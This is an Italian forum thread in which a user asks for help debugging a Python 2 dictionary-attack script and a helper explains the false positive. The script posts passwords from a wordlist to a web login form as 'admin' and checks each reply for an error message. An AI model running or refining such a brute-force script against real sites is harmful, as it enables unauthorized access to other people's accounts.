Pagina 1 di 2 1 2 ultimoultimo
Visualizzazione dei risultati da 1 a 10 su 11
  1. #1
    Utente di HTML.it
    Registrato dal
    Feb 2017
    Messaggi
    6

    [PYTHON] output in uscita "sbagliato" a priori

    Ciao a tutti, oggi, mentre provavo a scrivere questo breve programmino per testare un concetto che avevo precedentemente studiato a livello teorico su un volume dedicato alle reti ed al Python in generale, mi trovo con un "compilatore2 che a prescindere mi restituisce un output "sbagliato"
    Allego il codice, con una breve spiegazione:
    codice:
    import urllib
    url="http://sitodiprova.html"
    
    
    username="admin"
    lista="lista.txt"
    
    
    pwd = []
    f = open(lista, "r ")
    pwd = f.readlines()
    f.close()
     
    for i in range(0, len(pwd)):
        if pwd[i][len(pwd[i])-1] == '\n':
            pwd[i] = pwd[i][0:len(pwd[i])-1]
     
    messaggioDiErrore = "Password errata"
     
    for password in pwd:
        print "Sto testando la password:", password
        parametriDaTestare = { "username" : username, "password" : password, "login" : "1" }
        p= urllib.urlencode(parametriDaTestare)
        paginaDiAction = urllib.urlopen(url, p)
        risultato = paginaDiAction.read()
        if not(messaggioDiErrore in risultato):
            print "Password trovata:", password
            break
    Come immagino abbiate intuito, il programma in questione l'ho creato per "mettere in pratica" il concetto dell'attacco dizionario...Il problema consiste nel fatto che in fase di output (ossia Password trovata), il compilatore mi restituisca a prescindere il PRIMO elemento della lista.txt (il dizionario da cui attingere)...
    Soluzioni?

  2. #2
    Utente di HTML.it L'avatar di clasku
    Registrato dal
    Aug 2006
    Messaggi
    3,197
    mi sembra molto strano, hai provato a stampare a schermo il valore di "risultato"?

  3. #3
    Utente di HTML.it
    Registrato dal
    Feb 2017
    Messaggi
    6
    allora, se uso il compilatore di Python, a schermo mi stampa il primo elemento della lista, nel caso utilizzi CMD invece, lì mi dice "Errno2 no such file or directory in "lista.txt"

  4. #4
    Utente di HTML.it L'avatar di clasku
    Registrato dal
    Aug 2006
    Messaggi
    3,197
    io intendevo proprio di fare un
    codice:
    risultato = paginaDiAction.read()
    print risultato
    il secondo errore dipende dal fatto che il file "lista.txt" non è nella posizione che si aspetta lo script

    cosa intendi con "il compilatore di Python"?

  5. #5
    Utente di HTML.it
    Registrato dal
    Feb 2017
    Messaggi
    6
    il comando "run" presente nella shell di python

  6. #6
    Utente di HTML.it
    Registrato dal
    Feb 2017
    Messaggi
    6
    Quote Originariamente inviata da clasku Visualizza il messaggio
    io intendevo proprio di fare un
    codice:
    risultato = paginaDiAction.read()
    print risultato
    in che senso non è nella posizione che si aspetta lo script?
    Entrambi i file sono nel desktop (per comodità).
    2) ho provato ad utilizzare la tua istruzione, ma in questo caso mi "stampa" quasi l'intero codice sorgente della pagina del sito: parte la rase in cui mi avverte quale delle n password sta testando, e poi mi fa quanto detto una riga sopra.

    il secondo errore dipende dal fatto che il file "lista.txt" non è nella posizione che si aspetta lo script

    cosa intendi con "il compilatore di Python"?

  7. #7
    Utente di HTML.it L'avatar di clasku
    Registrato dal
    Aug 2006
    Messaggi
    3,197
    ah, IDLE
    guarda, io ho preso il tuo codice, ho simulato che risultato contenesse o meno il contenuto di messaggio di errore e funziona correttamente (mi mostra la seconda password che ho messo in lista.txt, quella che ho definito come giusta)

    anche leggendo il codice la logica è giusta, secondo me: devi solo capire se il risultato di urllib.open() contiene quello che ti aspetti (secondo me NON appare il contenuto di messaggioDiErrore al primo ciclo del for...)
    Ultima modifica di clasku; 13-02-2017 a 20:25

  8. #8
    Utente di HTML.it
    Registrato dal
    Feb 2017
    Messaggi
    6
    quindi come dovrei modificare il codice del for?

  9. #9
    Utente di HTML.it L'avatar di clasku
    Registrato dal
    Aug 2006
    Messaggi
    3,197
    non devi modificare il codice del for, devi verificare attentamente la risposta della pagina che deve contenere il contenuto del messaggioDiErrore nel caso in la password è errata. Io ipotizzo che la pagina non contenga la stringa "Password errata" nel caso in cui la password non sia giusta, quindi l'if nel tuo codice viene valorizzato a True facendo stampare il messaggio di password trovata al primo ciclo

  10. #10
    Utente di HTML.it
    Registrato dal
    Feb 2017
    Messaggi
    6
    ho modificato il messaggio password errata con quello corretto "password non valida" (<span class="feedbackPanelERROR">Password non valida</span> nel codice sorgente del sito) eppure stessa storia

Permessi di invio

  • Non puoi inserire discussioni
  • Non puoi inserire repliche
  • Non puoi inserire allegati
  • Non puoi modificare i tuoi messaggi
  •  
Powered by vBulletin® Version 4.2.1
Copyright © 2024 vBulletin Solutions, Inc. All rights reserved.